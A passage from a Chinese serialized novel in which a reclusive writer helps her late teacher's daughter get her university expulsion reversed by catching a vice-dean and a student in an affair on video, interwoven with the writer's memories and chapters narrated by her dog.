确实有些神似的。
“我七岁就认识你了。那时候你还不叫杜华年呢。”女孩从书包里翻出身份证递给她。
杜华年深深吸了一口气,看见身份证上的户籍地址,再长长呼出这口气,“你叫曾倩?你妈妈取的名字?”
“不是,我爸取的。”女孩蹲下身,抱起执着挠她的猫猫,“哇,好重!”
17. 女孩与女孩之间的爱
每一个缺乏爱的人都需要一只小狗。我麻麻就很需要我,今天麻麻带我去一个新的花园玩,我认识了一个小姑娘,她也很需要我。根据我的直觉,两个需要小狗的人也会非常需要彼此。我麻麻最近遭遇了非常坏的事情,不管我怎么舔她她都不动,只是摸我的头,除了每天照顾我,她几乎什么都不做,很久很久才吃一次东西。我都不记得上一次舔到她开心的味道是什么时候了。
看来,只有我是不够了,正好这个小姑娘来了,我和她一起陪麻麻,也许麻麻就会开心了。
为了感谢这个小姑娘,我帮她咬来了拖鞋。但是麻麻跟她说了几句话就回房间躺在了床上,那我得去陪她,你自己到处玩一玩,熟悉一下吧小姑娘。
杜华年并没能睡去,既见故人之女,岂能不思故人?
十五岁的何芳芳比曾倩可叛逆多了。为了中考,初三的学生需要住校,何芳芳终于摆脱了父亲,即便只是暂时。
那时候她最喜欢老师布置写作文,因为这是她唯一感到自由的时刻。她从来不按题目要求写,只写自己的兴致,每一次语文老师都只能给个基本分,再苦口婆心跟她妈说要教育她,要学会写考场作文……那有什么用呢?她父亲也不在乎她写不写那些套路,因为她只要按照她伟大的父亲的要求训练下去,保送名校文学院是早晚的事。
因此她从来不把老师放在眼里。最受初中生欢迎的就是叛逆,于是何芳芳在学校里,不用抽烟喝酒打架,也能享受风云人物的待遇。
但她觉得成为风云人物这件事也很没意思。
从宿舍醒来的第一天,她打算逃课。可是胡静雯执着地等在床边,她看着她简单的眼睛,无法不从上铺爬下来。
第一节是语文课,新换了个语文老师,她有一头长长的卷发,高高地扎起来,穿着一条牛仔裤,一件橙白相间的高领粗针毛衣,即便面容带点风霜,但依然是个美人。
她在黑板上写下她的名字:华丽娟。
然后说了些开场白,再布置了一个作文题。
开场白是什么她不记得,作文题也不记得,她依然随心情写了一个现编的小故事。毫无新意,华老师找了她的母亲谈话,但很意外,她的母亲回家后,没有出门和小姐妹打牌。
她如何知道?因为母亲从家里给她送来了饭菜。打开保温饭盒,竟然还冒着热气,不是保姆做的,是她母亲的手艺,以往只有每年父亲生日时,母亲才会亲自下厨。
比保姆做的好吃太多。
她想问华老师跟你说了什么?你今天居然做饭给我吃?可十五岁的何芳芳,一定问不出这样不要自尊的问题。
“她到底跟她说了什么?”杜华年“噌”一下坐起来,把猫猫吓了一跳。天已经暗下来,杜华年饿了,算算外头的曾倩已经收拾了好几个钟头。
又一次,她眼前浮现出那一排行云流水的红字:但我很欣赏你细腻的风格,在考场你是零分,在我心里,你是满分。——华丽娟.2009.11.9
最近怎么了,平息的记忆反复兴风作浪。
华老师是有能耐的,就凭这句话,后来的何芳芳一口气写了十篇考场作文,一天一篇,连写十天,篇篇高分范文。她规规矩矩穿上了校服,认认真真备战中考。
初中毕业典礼散场时,华老师站在晚风轻扬的操场边上,对她说:“何芳芳,你记住了,读书的是你,写字的是你,是好是坏都是你。时光是你的,你若是虚度,浪费的不是别人的人生。”
何芳芳如遭雷击,半晌才反应过来点头,乖巧如一只小狗。
三年后,毫无悬念的,杜华年被一志愿录取。她回初中去看华老师,华老师领着她去办公室聊了整整三个小时,差点要领她回家吃饭。她拒绝了,她想未来那么长,总有我请华老师吃饭的一天。
一周后,她得知华老师哮喘发作,抢救无效。
再一周后,领通知书,她感觉那天的太阳有点残酷。
叛逆的感觉又醒了过来。
回忆伴着夜幕会更沉重,杜华年深叹一声,想到曾倩,转头看向房门,算算,这姑娘没了娘的时候,也才十岁上下。
杜华年起身开门,却见客厅干干净净,厨房传来响动。她走过去,曾倩在煮泡面。
“我看这么晚了,你也不起来,大概是不会做饭也不会出去吃了,所以我煮了两碗面,你要煎蛋还是煮蛋?”曾倩微笑着说。
杜华年觉得这孩子越看越像华老师。
可是面条很不好吃。曾倩眉头皱的很夸张,“为什么呢?我平时在宿舍就这么煮的啊。”
杜华年连筷子都懒得拿,“泡面和泡面是不一样的。”
“为什么?”
“就像人和人是不一样的。”
杜华年眼都没抬,麻利收了两个碗往下水道一倒,曾倩刚想哀嚎她浪费粮食,就见她摆出砧板,抽出菜刀,从冰箱里取了几样蔬菜,叮当一阵,熟练度堪比下厨十年的主妇。
两碗面条重新摆上桌,曾倩闻着香气差点流下口水,“你……”
“你可以叫我华年姐。”杜华年给猫猫拌好狗粮和羊奶,洗了手坐回来。
曾倩迫不及待吃了一大口面,烫得张大嘴直喘气,杜华年蹙眉回身从冰箱给她拿了一瓶汽水。
“华年姐……好拗口,芳芳姐多好,好叫又好听。”
杜华年想要拒绝,突然觉得好像没什么理由拒绝。干脆低头吃面。
“退学是怎么回事?”吃着吃着,她突然发问。
曾倩半口面还在嘴里,抬眼看着她,眼圈很快泛红,但神情倔强,“你信吗?我没有错。”
杜华年敏锐地感受到她在向她追求一种补偿,她不喜欢这种带有强迫意味的反问,“你错没错,与我有什么关系?”
曾倩一懵,“那你又问我?”
“你也知道我问你了?”
曾倩更懵了,“什么?”
杜华年很讨厌和傻子说话,低头吃了口面,又想起华老师,还是抬头,“你回答了吗?”她放下筷子,擦了擦嘴,“你不答反问,预设答案是什么?”
曾倩没见过这一针见血的阵仗,她自己都从没摸过自己的心底,骤然被杜华年伸手掏了一把,胸口顿时翻江倒海。
“别要同情,一旦别人同情你,你就低人一等了。”杜华年淡淡看着她。
曾倩愣愣望她良久,才低头说:“我认识一个学姐,她写了一个长篇,拿给她导师修改,但导师改成自己名字发表了。我们知道后很生气,就举报他,举报要证据,我就去问学姐要底稿,她却跟我说底稿丢了。没有证据,举报就不成立了,可是不知道为什么,学院突然就说我造谣,我没造谣,只是没证据了,我也没办法。哦对了,她导师是我们副院长。”
“即便是造谣,也有警告、处分各种手段,怎么会直接退学?”
“他们要我写检讨,公开道歉,我不愿意。”
“哦,你拒不认错,所以退学……嘶——也不对,只有影响恶劣才会退学,你还干了什么?”
曾倩看着杜华年,觉得她怎么这么……难骗?
杜华年也没等她,又问:“你这个学姐得了好处吧?是什么?保研吧,最有可能是保研。然后呢?你大概也发现自己被利用了,于是跑去找学姐闹,甚至还找了院长闹?又或者连学姐一起举报?对了,只有不停地举报,他们才会想开除你,因为你会带来大麻烦。”
曾倩心里更钦佩杜华年了,她的推测与事实相差无几,仿佛亲眼所见。“你都猜对了!所以我现在一定要找到证据证明他抄袭,才能还我清白。”
杜华年冷笑一声,“还真是天真。你想要什么证据?底稿?”
曾倩怨念横生,“你觉得她不会拿出来了?”
“你傻啊?你见过她的底稿吗?你见到她构思,见到
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她写?”
全身一震,曾倩忽然想通,“啊!你是说,她从头到尾都是骗我们的?”
“你们到底是谁?”
“我们宿舍四个人。”
“举报人名字写的谁?”
“我。”
“嗯,这就对了,她没骗你们,她只是骗你。因为只有你信了。”
“她为什么要这样做?为了保研?她怎么确定一定能保研?不对不对,如果不是真的,副院长不心虚,学校怎么会给她保研?”
“这是另一个问题了,找答案需要时间和手段。但你现在应该问自己:我为什么相信她?”杜华年淡淡地审视她,可她一脸茫然,杜华年嫌她脑子慢,“不用想也知道,她平时说话轻声细语,对你又照顾有加,你觉得她真诚善良又美丽,一旦她表现出柔弱,你就不得不站出来保护她。你缺乏母爱,所以对温柔的年长女性没有抵抗力,你觉得你父亲没有保护好你妈妈,所以你要保护她。”
曾倩又遭了一次雷劈。她张着嘴,好半天才反驳,“那我也信你啊,我信你没抄袭。”
“你信我和信你学姐,没什么区别。”
她的冷漠让曾倩想反抗,“照你这样说,人和人之间就没有美好单纯的感情了?那你当年又为什么信我妈?缺乏母爱吗?”
这个反问倒是很有力量,杜华年想。但她信华老师这件事,倒一时不能让她认同与母爱有关。
见她沉默,曾倩赶紧说:“我信你,不是因为缺乏母爱,是因为我妈太喜欢你了!”说完她转身就进了次卧。
杜华年看着桌面,曾倩一碗面竟吃了个见底,面汤都几乎不剩,自己这碗却还余大半。“嗯,还是千帆过的蟹黄面好吃。”她喃了一句,心想改天带这个小孩去吃点好的,起身去洗碗。
夜深,杜华年切了两片柠檬,倒了一杯冰镇桂花青梅酒,坐在阳台的一把靠椅上,靠着白木窗棂,饮酒赏月。这房子楼虽不高,但面向秦淮河方向竟无遮挡。这小半月来,她越发喜爱这小阳台,从前住惯了高楼林立,竟没发现其实一开始的选择便很好。酒瓶子通体冰莹,瓶壁上流下道道水痕,两杯酒下肚,热泪才流出。
她太久没有哭了。
听说真正的悲痛是这样的了,当时是哭不出来的,过了一阵子,谁也不知道的什么时刻,谁也不知道是什么机关,大概还需要一点酒,你就兀然想起了那些失去,那些为难,那些活该。
曾倩在房间里消了气,感觉口渴了,出来找水喝,却听见抽泣与叹息,赶忙循声寻去,看见窗外杜华年的侧脸。她坐在阳台靠椅上,盘着右腿抱着左膝,右手撑头支在水晶台上,台上还放着一瓶酒与一个玻璃杯。月光真漂亮,照在她半边侧颜,泪痕斑驳,还有新鲜的泪珠断断滚落。
她立刻想走上去问她怎么了,一只脚踩在门槛上时,脑中却突然闪过相似的画面:小时候她常常撞见妈妈夜晚坐在阳台上哭泣,她问妈妈为什么哭?妈妈对她说:“你是小女孩,哭的时候希望被爸爸妈妈看见,得到安慰。可是女孩子长大了,如果偷偷躲起来哭,那就真的是想偷偷的,不被发现。所以,如果你发现了,也要假装没看见,偷偷走开。”她似懂非懂,又问妈妈,长大的女孩子不需要安慰吗?妈妈说:“如果你想安慰她,就在餐桌上放一点她爱吃的东西,再压上一张字条,写‘你想说的时候,可以来找我。’就足够了。”她问这是公式吗?妈妈说:“这是女孩与女孩之间的爱。”
如此久远的事,曾倩早就没放心上了,却在此时此刻,忽而终于明白了妈妈话里的深刻,一瞬间,她懂得了,天下女孩总有共情的这一刻。
于是她默默收回了那只脚,回到餐桌旁,从冰箱找到一瓶酸奶,倒了一杯,压上字条。她回到自己房间关上门,眼泪“哗”一下流下来,被开除的羞辱和绝望这时候才真的涨潮,人要被淹没的时候,最容易想起生命中最爱的女性,只因为此时脆弱。
18. 天真才是杀死一个人真正的凶手
天下起了雨。
今年的梅雨来得有些晚。
中午醒来的杜华年,枯望着帘外潺潺,晨昏不分的天色,让她觉得这是一种时空流逝的弥补。她起来梳洗,给猫猫也打扮了一番,去敲曾倩的门。
曾倩揉着肿成猪皮的眼皮站在房门口,见杜华年一身丁香紫长裙,腰间与发间各系了一条淡黄色绦带,脚边猫猫穿着柠檬黄小雨衣。曾倩望着她,呆呆的。
“赶紧收拾,带你出门吃饭。”
“哦……哦!”
昨天的相逢有点太混乱了,曾倩都忘了要兴奋。此刻坐在杜华年车里,她忍不住时时偷瞄杜华年,脸上一直挂着痴迷又难以置信的傻笑,这可是她的偶像呀!杜华年只当没看见,冷漠地开车。
姜老板正在门口指挥她弟弟挂灯笼。看见杜华年牵着只柯基自雨中走来,身后还领着个看啥都好奇的姑娘,她撑了把伞迎上去,“这鬼天气还想着我的,也只有你了。”
杜华年自己撑了把黑伞,后头曾倩打着粉白色小碎花单人伞,可她一打眼见着姜老板撑着一柄浅青色油纸伞,伞面画着桐花,心想这便是她该有的模样,脸上会心一笑。
“怎么挂上灯笼了?”
姜老板把她两人一狗让进店,“你看这雨下的,白天像晚上一样发昏,点个灯,好帮我留客。”
“还有这说法呢?”杜华年收了伞,替猫猫脱掉小雨衣,姜老板顺手接过来,“这不是就把你招来了?我这才刚挂上呢。”她转头去交代老弟,“流云啊,挂好了把梯子收到……”
话没说完,她发现老弟正和杜华年带来的姑娘站在门口热络地聊天,把人家姑娘逗得脸都笑红了。
“流云!快去把梯子放好,再叫老佟去捞条漂亮的鱼来,快去!”姜老板粗声喊道。
“不急,今天河上应该没什么游客了吧?你能不能帮我借条船?我单包下来,你把饭菜给我打包了,我们船上吃。”
姜老板眼珠一低,顿时明白了她的意图,笑着左右轻轻摇摆道:“好,我懂了,放心,我给你办好。”
姜流云和曾倩走过来,姜流云认真喊了声“华年姐。”杜华年点点头,斜眼一瞥身旁曾倩,见她兴奋地四处打量,笑了笑,喊了她一声,“曾倩,过来坐。”“哦!”
姜老板拉着弟弟就往后厨走。
杜华年随便挑了个窗边坐下,一楼也没客人,看来生意确实冷清。曾倩四处走了几步,惊叹,“这房子好古朴啊!你怎么发现这里的?刚才那个是老板?她好漂亮啊!你跟她这么熟?”
杜华年看着她兴奋的模样,心想还是年轻,天塌下来了,也能忘记天塌下来了。
她没回答,曾倩也无所谓,坐到她对面,“芳芳姐,我看刚才姜流云跟你说话的样子,他好像很怕你哦!他说他是你员工,真的吗?”
杜华年笑笑,“曾经是。”
曾倩一愣,反应过来,又说:“芳芳姐,你的生活真好。想出门吃饭,就能来这么好的地方吃饭。这里就像古装剧里一样。”
杜华年皱了皱眉,问,“你念的是中文系?”
“嗯,是啊!我妈妈念的也是中文系,我念的是她的母校!”她很骄傲,突然又想起,“啊!也是你的母校哦……”
杜华年点头嗯了一声,淡淡的,没再说什么。
姜老板总不让她失望的。撑了桐花伞,姜老板先把她从后门送到小码头,又回去把曾倩送过来,姜流云披了上半身雨衣,抱着猫猫也跑了过来。
“这里不是游客用的码头,是居民平时偶尔会用。咱等一会儿,我叫的船马上就来。”姜老板接过猫猫抱着,“你回去,帮老佟把家伙事拿过来。”
说是码头,其实也就只是从河边伸出去一条石梯,又延伸了一段平水石台,台边立着一根短铁柱,可以接引小船,大约平时是垂钓的好去处。
远处殷殷柳枝底穿来一艘乌篷船,摇船的还披了草蓑斗笠,看起来似模似样。姜老板手搭凉棚,“看,船来了。”
曾倩看得傻了,“这真是古代那种船啊!”
姜老板很喜欢她的反应,“你家姐姐要船,肯定不是要那种现代游船的咯。”又看向杜华年,“满意吗?”
杜华年笑说:“我还怕你太麻烦就没说一定要这样的。”
姜老板何止能耐,甚至贴心非常。安排了厨师老佟带着食材一同上船,船看着小,但舱身很宽敞,一头还有锅有灶有瓦斯,老佟正在劏鱼,灶边立了把大伞遮雨。
杜华年和曾倩坐在船舱里,猫猫穿了雨衣在舱外跑来跑去。
“像拍戏一样!”曾倩难以置信,“这个老板怎么这么厉害?”
“她在这出生长大,哪里有什么,谁家有什么,她会不懂么?”杜华年望着江上烟波。
“你没跟她提这些要求,她怎么知道的?”
“推测,她推测我要和你谈些事,这些事不想让人听见。”想到她大概想不明白,杜华年解释,“在河上说话,能听见的人最少,所以我一要船,她就会想到。”
啊!原来如此,曾倩感叹她们思想真复杂,“所以,你要和我谈什么见不得人的事?”
“你想不想换个系念书?”
“……”
“我问过了,你的退学手续并没有办完,还在文学院,如果你愿意换专业,很好办,下周一你就能回去上学了。”
“你……问过了?问谁?”
“校长。”
“你认识校长?”
“我爸认识。”杜华年并不欲谈这件事,“怎么样?换不换?”
“不,我不想换,我又没错,为什么要我换专业?”曾倩头偏向一边,手揪着发梢来回捻。
杜华年似乎松口气,“你错没错,不是你说了算的。”
“难道你说了算?”曾倩瞪着她,她觉得这个女人一点同情心都没有,真不明白妈妈当初为什么那么喜欢她。
“你的遭遇虽然不幸,但天真才是杀死一个人真正的凶手。在这个世界上生存的法则,唯有凶狠和掠夺。”杜华年似笑非笑看她。
“你倒是够凶狠,会掠夺,怎么也把自己搞到现在这步田地?你不也一样会喝掉我给你倒的酸奶?”
杜华年微不可查地挑了挑眉。
鱼端了上来。
静默。
曾倩有些担忧她被激怒,偷眼看看她又看看鱼。
杜华年只是凝视她一阵,然后掏出烟和打火机,点了一根,吸了一口,吐出一阵烟雾。
曾倩感觉很呛,转身撑开乌篷两边的小窗。些些风吹进来,杜华年感觉自己活了过来。
她喜欢曾倩的回答,问,“想不想让冤枉你的人都付出代价?”
曾倩紧紧盯着她,不明白她怎么又相信自己了,眼中闪着不确定和跃跃欲试,“你有办法?”
“吃饭,难得美景,好好欣赏。”
江上重重烟波,一叶小舟缥缈,烟柳新新,让人想起,这也是代代相传杏花烟雨的江南。一个文学生,一生总要得见一次。
两天后,夜里十一点,雨还没有停。曾倩穿着黑色雨衣,带着黑色口罩,躲在秋湖边上一棵树下,雨点子忽重忽轻打在身上。她带着耳机,对杜华年抱怨,“我还要等到什么时候?再过半小时,宿舍就锁门了。”
“今天,你们副院长有晚课,他老婆又回了扬州娘家,你再等等。”湖另一头有一间咖啡厅,杜华年坐在里头喝牛奶。
“你怎么知道他老婆今天回娘家?”
“我和他有过节,和他老婆有交情。”
“什么过节?什么交情?”曾倩心里窜上来八卦之火。
杜华年掐了电话。
一直等到十一点四十二,宿舍大门早落了锁,宿管阿姨的灯都熄灭了,杜华年才让曾倩离开。曾倩脱掉冷重的雨衣,也要了一杯热牛奶,“你说宿舍都锁门了,这咖啡厅还开着,做谁的生意?老师吗?”
“研究生啊,研究生宿舍没有宵禁。”小哥送上牛奶,随口答道。
“对!”杜华年却发现了这个漏洞,“我忽略了,她可能已经住进研究生宿舍了。”
“她就算保研,也还没本科毕业啊!”曾倩震惊。
“那还不是后勤老师一个章的事。”杜华年吃了一口蛋糕,“今晚就住学校里,早上去教师公寓楼下等着。”
“教师公寓?住在学校?”
学院盖了一栋新楼,专门提供交流学习的学者、作家下榻,她和前台寒暄几句,顺利入住。房间配置高级,曾倩看得呆了,“我们学校还有这种地方?”杜华年没理会她,进了浴室。洗漱完,杜华年甚至还叫了个客房服务,送来了宵夜。
喝着热粥,曾倩问,“你和副院长,到底什么过节?和他老婆为什么又有交情?”
“本来不想告诉你,但是说起来,这两件事又是一件事。”杜华年喝一口馄饨,“你们现在这个副院长姓甘对吧?我读书那会儿,他就是个普通教授。我大二的时候,学分修的有点多,就有了空闲时间写长篇,那会儿在院刊上连载。有天他突然抽风,找到我,说我抄袭他的小说。但他其实没什么证据,却敢威胁我,说他是教授,他说的话肯定比我说的话更可信。我看他那副蠢样子,就顺势问他怎么样能放过我?他说让我去他家,帮他完成新论文。”杜华年衔着笑喝了口水。
“真不要脸!”曾倩义愤填膺,“你后来呢?去了?”
“去了我还会跟你说吗?”
曾倩忽然觉得自己挺傻。
“我当时就录音了,后来也假装跟他推拉了一阵子,直到他觉得时机成熟,给我发了条信息,跟我说她老婆下午出差。当时我正好跟她老婆在机场喝下午茶。”
曾倩听得一愣一愣。
“那天他老婆把工作都推了,直接拿着我给她的完整证据链杀回了家。噗——”杜华年突然爆笑出声,“我现在,哈哈,现在想起他那张本来期期艾艾又突然吓得青绿变通红再变苍白的脸,哈哈哈……我就,我就控制不住想笑哈哈哈……”她笑得前仰后合了。
看着她泪花都笑出来,曾倩觉得很难把嘴巴合上,“不是,你和他老婆……关系不一般啊?”
杜华年缓直身体,“他老婆是我爸师姐,小时候我还在她家住过呢。”
“那他怎么不认识你呢?”
“他当然不认识,他是我师伯二婚的老公。他一直就是一个为了上位不择手段的凤凰男,当初是看准我师伯离婚才趁虚而入……呵,都是渣男套路,不过偏偏我这个师伯是个恋爱脑。他今天这个副院长,就是因为娶了我师伯到手的。”
“等等,你爸的师姐你不是应该叫她师姑吗?”曾倩的脑子有点不够用。
杜华年闭眼一叹,“看来现在的年轻人是真的都不看武侠小说了。”她不无沮丧地坚持普及知识,“不管我爸的师哥还是师姐,我都叫师伯,论辈分不论男女,这是规矩。”
曾倩也乖巧,点点头,改口,“那为什么娶了你师伯就能当上副院长?”
“因为院长也是我师伯。”杜华年语气淡淡,想快点结束这个人物关系的话题。
“就是说院长和甘鹏飞老婆是师兄妹,然后……师妹的面子这么大吗?莫非师兄是前夫?”这几天下来,曾倩已经觉得这个世界疯狂起来可以无限疯狂,于是自动拔掉了大脑的门栓,进行一个大胆的猜测。
“师妹是师父的独生女,所以院长师兄卖了师妹一个面子。”杜华年淡淡解释。
“任……老先生?的,女儿?是、你、师伯?是我们副院长的、老婆?”曾倩吓得站了起来,又缓缓坐下,CPU干烧中……
“呵,师公就是师公,真有排面啊。”杜华年看着曾倩,一脸的无所谓。
曾倩缓不过来了,系统崩溃重启中:这个甘鹏飞的背后……不对,是杜华年的背景……不对不对……曾倩疯狂挠了好一会儿头,好不容易,才找回语言体系,怒问,“不是,你这么强的背景,念书的时候没人知道吗?不对,你这个背景,现在会这么落魄的吗?没人管你吗?你这样的人,抄袭这个事情闹这么大,你们家……你师姑……不是,是师伯,我是说他们都没人来……来……”
杜华年看着她,又露出了看智障的神色,“没人来给我撑腰?”
曾倩用力点头。
“如果我不说,你能知道我和他们有什么关系?”
曾倩摇摇头。
“那他们为何还要主动暴露呢?”
醍醐灌顶,曾倩瞪着眼,眼珠子一偏,突然觉得无法反驳,又觉得没道理,“可是既然如此,你为什么还要我大半夜淋雨蹲点?你其实本来就有他把柄啊!你还有你师伯,你帮我不就一句话的事?”
杜华年心想:这会子又聪明了。“授人以鱼不如授人以渔,小姑娘,自己睡觉时好好想想吧。我累了。”
黑暗里,曾倩还没开始想,困倦就逼她入睡了。
凌晨五点半,杜华年从床上拖起曾倩,“起来,去教师公寓楼下蹲着。”
曾倩不情不愿洗着脸,“你都起得这么早?”
“还不是因为你这屁事吗?”杜华年也没好气,临走塞给她一个面包,“路上吃。”
曾倩第N次震惊,“你,不去?”
“自己的事自己做,我可以教你,不可以替你。”杜华年冷脸拉门,一把将她推了出去,“戴好耳机,去!”
天色阴沉,还有几声闷雷,曾倩啃完面包,时间来到六点半。教师公寓一共两个门,正门七点开,后门一直开,她蹲在楼侧路对面一丛灌木后头,看着清洁工们来来回回。
六点四十,一个灰衣灰裤的男人快步走来,她一个激灵掏出手机开始录像,等人走近,看清了,果然是甘副院长。
灰衣人进了楼里,曾倩打电
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话给杜华年。
“回来吧,我在研究生宿舍名单里看见你那学姐了。冷飞雪对吧?”
“对对,你怎么知道?”
曾倩在校门口监控室看见杜华年时,感觉事情已经超出了她能认知的界限。从昨天下午到现在,二十四小时都不到,杜华年在后勤查到了冷飞雪提前调换宿舍的手续,现在又在门卫监控室找到了甘副院长和冷飞雪先后隔五分钟进校门的视频。
“你还说你没用师伯的关系?”曾倩跟着她出了监控室。
“没用。这是我在后勤的关系。”
她带着曾倩来到校门外一处酒店吃饭,点了一桌子菜。
“后勤又有你什么关系?”曾倩大口吃菜,口齿不清。
“我读书的时候,有个舍友造我的谣,我就想赶她去最差的宿舍吃点苦头,学院老师各种推诿,我就出去租了个学校老师的房子,然后把合同拿给当时管宿舍的兰依,兰依就是现在的后勤主管。”杜华年什么也不吃,散漫地说。
“这是什么操作?”
“学生不住宿舍,以及教师租房给学生,都违反校规。我承认错误,那个老师就被迫要承认错误,事情可以闹大,也可以大事化小,于是院领导就签条子,让兰依给我舍友换宿舍了。”
曾倩吓得忘记了吞咽,半天才说了句,“你真是天不怕地不怕啊!”
杜华年看着她,认真说:“你永远记住,这世上从来没有光脚的怕穿鞋的道理。这是老话,我还有句新话:逼对手承认错误最好的办法,就是自己先承认错误。”
说完,杜华年深深一叹。
“那兰老师应该很恨你才对呀?你这样利用她。”
“她实在是意外收获,当时后勤主管是她顶头上司,处处给她穿小鞋,我给主管找麻烦,等于给她出了口气,她后来主动给我打电话,要和我做朋友。”
曾倩吃不下了,她开始觉得,自己也读大学,人家也读大学,怎么读出来那么大的差距呢?
剩了很多菜,杜华年叫人来打包,由于剩的太多,三个服务员一同来干活。曾倩本想问明知两人吃不完为什么要点这么多菜,可杜华年却一反常态地笑起来,明媚热情地与服务员寒暄,先夸菜品好,又夸酒店服务好,最妙的是这一句,“你们酒店招员工要求是不是很高?”“也不算吧?”“不然你们一个个这么漂亮,还不是老板要求高?”
三个打包姑娘一顿,反应过来后都乐开了花,一时间娇笑满室,曾倩吃惊的表情快要焊在脸上了。
“哎对了,我看你们前台放着好多小礼品,我们是不是有份?”
“不是的,那些是入住的VIP礼物。”
“我们开间房就有了?”
“有我们的会员卡,然后开指定房型就行。”
“什么房型?套房啊?”
“房型每天不一样,昨天是商务大床,今天好像是主题电影房吧,具体您要跟前台确定。”
“你们酒店对客人还真是好,连礼品都精挑细选的。会不会送不完?我看还剩那么多,你们是不是可以自己分一分?”
“怎么可能?这不是剩的,活动昨天才开始,要搞一个月,肯定送得完的。”
打包结束,杜华年连声道谢。转头去前台开了一间房。
房间里,曾倩问,“你觉得他们在这间酒店开房?”
杜华年倒在沙发上揉着太阳穴,“嗯?你怎么突然变聪明了?”
曾倩坐在她旁边,“你怎么确定是这家酒店?”
“近咯,他们俩是走路进学校的。你从大门出来,五分钟到十分钟路程里,最好的酒店就这家。还有,学中文的呢,观察力也很重要,不然写不出好东西。”
曾倩不明所以。
“你看监控的时候,没有看见冷飞雪手里提着礼品袋吗?和这里前台的一模一样。”
曾倩一下子通顺了,“所以你点这么多菜,是为了打包的时候有时间跟服务员打探消息?”
“嗯。还要保证多几个服务员一起出现,总有一个口风不严的。”
“天呐!”曾倩捂住了又要吞鲸的嘴,“你这么能算计人的吗?你的脑子……跟你一比,我好像没有脑子。”
“……”
二人睡了个回笼觉,下午杜华年带曾倩出门买了两身衣服,乔装一番后,晚上七点,她们假装来度假的游人,坐在大堂,观察人来人往。
只等了半个小时,冷飞雪和甘副院长就一前一后走进大堂,进了不同的电梯。杜华年跟着冷飞雪,曾倩跟着甘副院长。
巧了,都在十三楼。
杜华年在楼道尽头给曾倩打电话,曾倩在十二楼下电梯,跑楼梯到十三楼。杜华年开着录像,侧面对着冷飞雪的房门,完整拍下甘副院长敲门进门的过程。
回到房间,曾倩一屁股坐在沙发上,“虽然我想到了,但亲眼看见……还是第一次……”
“怎么了?太刺激了?还是太黑暗了?”杜华年拧开一瓶水递给她。
她仰头咚咚咚连灌好几口,“我不明白,她既然和副院长是这种关系,为什么还要诬陷人家抄袭她?”
“我推测,她本来是要求一个保研名额,但你们这个副院长呢,他不想答应,于是你这个学姐就想了这么个损招,给他一点压力。”
“那她为什么不直接拿这个……这个不正当关系威胁他?”
“你是个女孩儿,你不知道这做法是鱼死网破大家别活吗?”
曾倩左右转了两圈眼珠子才明白过来,“噢!我就是他们play的一环?”
“但她着实没想到你这一环入戏太深,导致她差点引火烧身。”
“所以他俩就合起伙来诬陷我?”曾倩声音拔高,三观尽毁。
“你不无辜,你多管闲事,后果自负。”杜华年换下度假风吊带花裙,又叫了一次客房服务送晚餐,转头去卸妆。
“我接下来怎么办?拿这个证据去举报他们?”曾倩扒在洗手间门口。
“别老想着举报,拿这些去威胁你那个学姐。”
“威胁……学姐?我去?你呢?”
“我陪你到明早,拍到他们出房间门,剩下的事就是你自己去做了。”杜华年擦干脸走出来,“再教你一件事:大多数时候,证明自己无辜的最好办法,是证明别人有罪。”
曾倩楞楞地走回沙发边坐下,半点她以为的义愤填膺都没有。她本想,抓到害她的人,一定要十倍百倍还回去,可现在……
第二天早上顺利拍到了冷飞雪和甘副院长的出门视频,可她却要求暂时跟杜华年回家去,做好准备再行动,怂包得很。但杜华年什么也没说,带她回去了。
曾倩在家里闷了三天,杜华年都不闻不问,终日陷在沙发里看流水电影。第四天,曾倩终于出发。杜华年和猫猫从沙发后冒出头来,整齐地趴在靠背上,望着她出了门。
19. 我难道爱上杜华年了?
曾倩试图联系冷飞雪,可冷飞雪已经把她所有的联系方式都拉黑了。
她坐在秋湖边上,先愣了一会儿,接受自己被拉黑的事实,接着一股暴怒的火焰窜上了头顶,气得她对着空气一顿拳打脚踢,把旁边的小情侣都吓跑了。这个愤怒里还带着令她费解的错愕,她不明白怎么这个女人做了这么龌龊的事情,竟然还敢这样对待她这个受害者?最后她气笑了,可同时,脑子里也出现了杜华年冷冽的脸,对着她说:天真,才是杀死一个人真正的凶手。
她被冻得一个激灵,但效果很好,她很快冷静下来,不再纠结冷飞雪的态度,而是剪了一条十五秒的“预告片”发到了冷飞雪的邮箱,正文里一个字都不写,然后回到杜华年的小屋。她很想对杜华年渲染一遍她的愤怒,但杜华年只是喊她吃饭,猫猫上来蹭她的腿,她忽然觉得什么都不用说了。
很快,清退手续就从学院内部撤下来了,甚至没有超过48小时。
曾倩本来想问问这个学姐,这一切到底是为了什么?为什么要自甘堕落,为什么要伤害真心帮她的人?
可是当她回学院领手续那天,正撞见冷飞雪从甘副院长办公室出来时,却什么也不想问了。因为她又看见了冷飞雪泛红的眼睛,曾经她会因为这双红眼睛而义愤填膺,可现在,她却只看见了一脸风尘气。她甚至失去了和她说话的欲望,只觉得看她一眼都累得慌,忽然的,脑子里又出现了杜华年放大的脸:你缺乏母爱,所以对温柔的年长女性没有抵抗力。
她愣了两秒,突然爆发出自嘲地苦笑,直到笑出眼泪。这倒是把冷飞雪吓坏了,小心翼翼贴着墙绕过她,慌忙跑了。
曾倩搬回宿舍那天,杜华年破天荒地,穿戴整齐,抱着猫猫送她下楼。
撑着伞,曾倩摸着猫猫的头,“谢谢你!要不是你,我就真没书读了。”
杜华年淡淡笑笑,“不必。因为你是华老师的女儿,我才帮你。好好读你的书去吧,以后不必再见了。”
“为什么?”曾倩心里一慌,也不知道慌的什么。
“我们是两个世界的人,你要去好好走你善良的一生。”
“我们毕竟相识一场……”
“怀念这段相识的最好办法,就是忘记这段相识。”杜华年冲她微微抬了抬下巴,示意她该走了,“后会无期。”眼神温温的,却无比坚硬。
曾倩心跳如鼓,脑子乱七八糟,什么也没说,终于转头走了。
小姑娘走那天,麻麻心情很低落,她抱着我在树下站了很久。然后她又开始在黑黑的房间里,看着变化多端的一块布,一看一整天,我觉得她还没我吃得好。
日复一日,我绞尽脑汁,谁能来管管我麻麻?
可能上天听到了我的呼唤?今天麻麻去洗澡了。然后她卷了头发,换了一身衣服,带着我出门去,吃了个早餐,我晒到了早晨的太阳。哇!出来玩好开心。
日子变得服帖起来。杜华年早起早睡,出门早餐,绕路回家。在路过一间精致小店时淘了一本翠绿色带密码锁的小本子,又路过一间花圃小店,买了一盆茉莉,一盆桂花。
